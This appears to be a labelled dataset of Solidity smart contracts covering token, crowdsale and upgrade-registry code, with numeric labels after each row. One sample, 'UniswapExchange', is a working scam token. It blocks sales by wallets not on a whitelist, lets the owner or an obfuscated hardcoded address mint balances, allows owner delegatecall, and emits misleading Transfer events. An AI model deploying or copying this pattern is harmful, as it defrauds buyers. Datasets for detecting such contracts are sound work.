struct UpgradeableContract {
bool initialized_;
address proxy_;
string latestVersion_;
mapping (string => address) versions_;
}
event UpgradeableContractAdded(bytes32 _contractName, string _version, address _address);
event ContractUpgraded(bytes32 _contractName, string _version, address _address);
event ProxyDeployed(bytes32 _contractName, address _address);
constructor() public {
owner_ = msg.sender;
}
modifier restricted() {
require (
msg.sender == owner_,
"Sender not authorized."
);
_;
}
function getLatestVersionAddress(bytes32 _contractName) public view returns (address) {
return contracts_[_contractName].versions_[contracts_[_contractName].latestVersion_];
}
function getUpgradeableContractAddress(bytes32 _contractName, string _version) public view returns (address) {
return contracts_[_contractName].versions_[_version];
}
function addNewUpgradeableContract(bytes32 _contractName, string _version, bytes _code, bytes _data) public restricted {
require(!contracts_[_contractName].initialized_, "Upgradeable contract already exists. Try upgrading instead.");
address deployedAddress;
assembly {
deployedAddress := create(0, add(_code, 0x20), mload(_code))
}
contracts_[_contractName].initialized_ = true;
contracts_[_contractName].latestVersion_ = _version;
contracts_[_contractName].versions_[_version] = deployedAddress;
_deployProxy(_contractName, deployedAddress, _data);
emit UpgradeableContractAdded(_contractName, _version, deployedAddress);
}
function upgradeContract(bytes32 _contractName, string _version, bytes _code) public restricted {
require(contracts_[_contractName].initialized_, "Upgradeable contract must exist before it can be upgraded. Try adding one instead.");
address deployedAddress;
assembly {
deployedAddress := create(0, add(_code, 0x20), mload(_code))
}
AraProxy proxy = AraProxy(contracts_[_contractName].proxy_);
proxy.setImplementation(deployedAddress);
contracts_[_contractName].latestVersion_ = _version;
contracts_[_contractName].versions_[_version] = deployedAddress;
emit ContractUpgraded(_contractName, _version, deployedAddress);
}
function _deployProxy(bytes32 _contractName, address _implementationAddress, bytes _data) private {
require(contracts_[_contractName].proxy_ == address(0), "Only one proxy can exist per upgradeable contract.");
AraProxy proxy = new AraProxy(address(this), _implementationAddress);
require(address(proxy).call(abi.encodeWithSignature("init(bytes)", _data)), "Init failed.");
contracts_[_contractName].proxy_ = proxy;
emit ProxyDeployed(_contractName, proxy);
}
} | 1 | 3,129 |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256 c) {
if(a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() { require(msg.sender == owner); _; }
constructor() public {
owner = msg.sender;
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
}
contract ERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() public view returns(uint256);
function balanceOf(address who) public view returns(uint256);
function transfer(address to, uint256 value) public returns(bool);
function transferFrom(address from, address to, uint256 value) public returns(bool);
function allowance(address owner, address spender) public view returns(uint256);
function approve(address spender, uint256 value) public returns(bool);
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
uint256 totalSupply_;
string public name;
string public symbol;
uint8 public decimals;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) internal allowed;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function totalSupply() public view returns(uint256) {
return totalSupply_;
}
function balanceOf(address _owner) public view returns(uint256) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns(bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function multiTransfer(address[] _to, uint256[] _value) public returns(bool) {
require(_to.length == _value.length);
for(uint i = 0; i < _to.length; i++) {
transfer(_to[i], _value[i]);
}
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns(uint256) {
return allowed[_owner][_spender];
}
function approve(address _spender, uint256 _value) public returns(bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns(bool) {
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns(bool) {
uint oldValue = allowed[msg.sender][_spender];
if(_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
}
else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
bool public mintingFinished = false;
event Mint(address indexed to, uint256 amount);
event MintFinished();
modifier canMint() { require(!mintingFinished); _; }
modifier hasMintPermission() { require(msg.sender == owner); _; }
function mint(address _to, uint256 _amount) hasMintPermission canMint public returns(bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns(bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) public returns(bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
contract Withdrawable is Ownable {
function withdrawEther(address _to, uint _value) onlyOwner public {
require(_to != address(0));
require(address(this).balance >= _value);
_to.transfer(_value);
}
function withdrawTokensTransfer(ERC20 _token, address _to, uint256 _value) onlyOwner public {
require(_token.transfer(_to, _value));
}
function withdrawTokensTransferFrom(ERC20 _token, address _from, address _to, uint256 _value) onlyOwner public {
require(_token.transferFrom(_from, _to, _value));
}
function withdrawTokensApprove(ERC20 _token, address _spender, uint256 _value) onlyOwner public {
require(_token.approve(_spender, _value));
}
}
contract Pausable is Ownable {
bool public paused = false;
event Pause();
event Unpause();
modifier whenNotPaused() { require(!paused); _; }
modifier whenPaused() { require(paused); _; }
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract Manageable is Ownable {
address[] public managers;
event ManagerAdded(address indexed manager);
event ManagerRemoved(address indexed manager);
modifier onlyManager() { require(isManager(msg.sender)); _; }
function countManagers() view public returns(uint) {
return managers.length;
}
function getManagers() view public returns(address[]) {
return managers;
}
function isManager(address _manager) view public returns(bool) {
for(uint i = 0; i < managers.length; i++) {
if(managers[i] == _manager) {
return true;
}
}
return false;
}
function addManager(address _manager) onlyOwner public {
require(_manager != address(0));
require(!isManager(_manager));
managers.push(_manager);
emit ManagerAdded(_manager);
}
function removeManager(address _manager) onlyOwner public {
require(isManager(_manager));
uint index = 0;
for(uint i = 0; i < managers.length; i++) {
if(managers[i] == _manager) {
index = i;
}
}
for(; index < managers.length - 1; index++) {
managers[index] = managers[index + 1];
}
managers.length--;
emit ManagerRemoved(_manager);
}
}
contract Token is CappedToken, BurnableToken, Withdrawable {
constructor() CappedToken(100000000e18) StandardToken("Papusha Rocket Token", "PRT", 18) public {
}
}
contract Crowdsale is Manageable, Withdrawable, Pausable {
using SafeMath for uint;
Token public token;
bool public crowdsaleClosed = false;
event ExternalPurchase(address indexed holder, string tx, string currency, uint256 currencyAmount, uint256 rateToEther, uint256 tokenAmount);
event CrowdsaleClose();
constructor() public {
token = new Token();
}
function externalPurchase(address _to, string _tx, string _currency, uint _value, uint256 _rate, uint256 _tokens) whenNotPaused onlyManager public {
token.mint(_to, _tokens);
emit ExternalPurchase(_to, _tx, _currency, _value, _rate, _tokens);
}
function closeCrowdsale(address _to) onlyOwner public {
require(!crowdsaleClosed);
token.transferOwnership(_to);
token.finishMinting();
crowdsaleClosed = true;
emit CrowdsaleClose();
}
} | 1 | 3,831 |
pragma solidity ^0.4.24;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
contract ERC20Mintable is ERC20, MinterRole {
function mint(address to, uint256 value) public onlyMinter returns (bool) {
_mint(to, value);
return true;
}
}
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender));
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused);
_;
}
modifier whenPaused() {
require(_paused);
_;
}
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
contract BlacklistAdminRole {
using Roles for Roles.Role;
event BlacklistAdminAdded(address indexed account);
event BlacklistAdminRemoved(address indexed account);
Roles.Role private _blacklistAdmins;
constructor () internal {
_addBlacklistAdmin(msg.sender);
}
modifier onlyBlacklistAdmin() {
require(isBlacklistAdmin(msg.sender));
_;
}
function isBlacklistAdmin(address account) public view returns (bool) {
return _blacklistAdmins.has(account);
}
function addBlacklistAdmin(address account) public onlyBlacklistAdmin {
_addBlacklistAdmin(account);
}
function renounceBlacklistAdmin() public {
_removeBlacklistAdmin(msg.sender);
}
function _addBlacklistAdmin(address account) internal {
_blacklistAdmins.add(account);
emit BlacklistAdminAdded(account);
}
function _removeBlacklistAdmin(address account) internal {
_blacklistAdmins.remove(account);
emit BlacklistAdminRemoved(account);
}
}
contract BlacklistedRole is BlacklistAdminRole {
using Roles for Roles.Role;
event BlacklistedAdded(address indexed account);
event BlacklistedRemoved(address indexed account);
Roles.Role private _blacklisteds;
modifier onlyBlacklisted() {
require(isBlacklisted(msg.sender));
_;
}
modifier onlyNotBlacklisted() {
require(!isBlacklisted(msg.sender));
_;
}
function isBlacklisted(address account) public view returns (bool) {
return _blacklisteds.has(account);
}
function addBlacklisted(address account) public onlyBlacklistAdmin {
_addBlacklisted(account);
}
function removeBlacklisted(address account) public onlyBlacklistAdmin {
_removeBlacklisted(account);
}
function renounceBlacklisted() public {
_removeBlacklisted(msg.sender);
}
function _addBlacklisted(address account) internal {
_blacklisteds.add(account);
emit BlacklistedAdded(account);
}
function _removeBlacklisted(address account) internal {
_blacklisteds.remove(account);
emit BlacklistedRemoved(account);
}
}
contract GiniAuditioTokenPausable is ERC20, Pausable, BlacklistedRole {
function transfer(address to, uint256 value) public whenNotPaused onlyNotBlacklisted returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused onlyNotBlacklisted returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused onlyNotBlacklisted returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint addedValue) public whenNotPaused onlyNotBlacklisted returns (bool success) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused onlyNotBlacklisted returns (bool success) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
contract GiniAuditio is ERC20Detailed, ERC20Burnable, ERC20Mintable, GiniAuditioTokenPausable {
uint8 public constant DECIMALS = 18;
uint256 public constant INITIAL_SUPPLY = 3000000000 * (10 ** uint256(DECIMALS));
constructor () public ERC20Detailed("Gini Audition Coin", "GAC", DECIMALS) {
_mint(msg.sender, INITIAL_SUPPLY);
}
} | 1 | 3,388 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,397 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
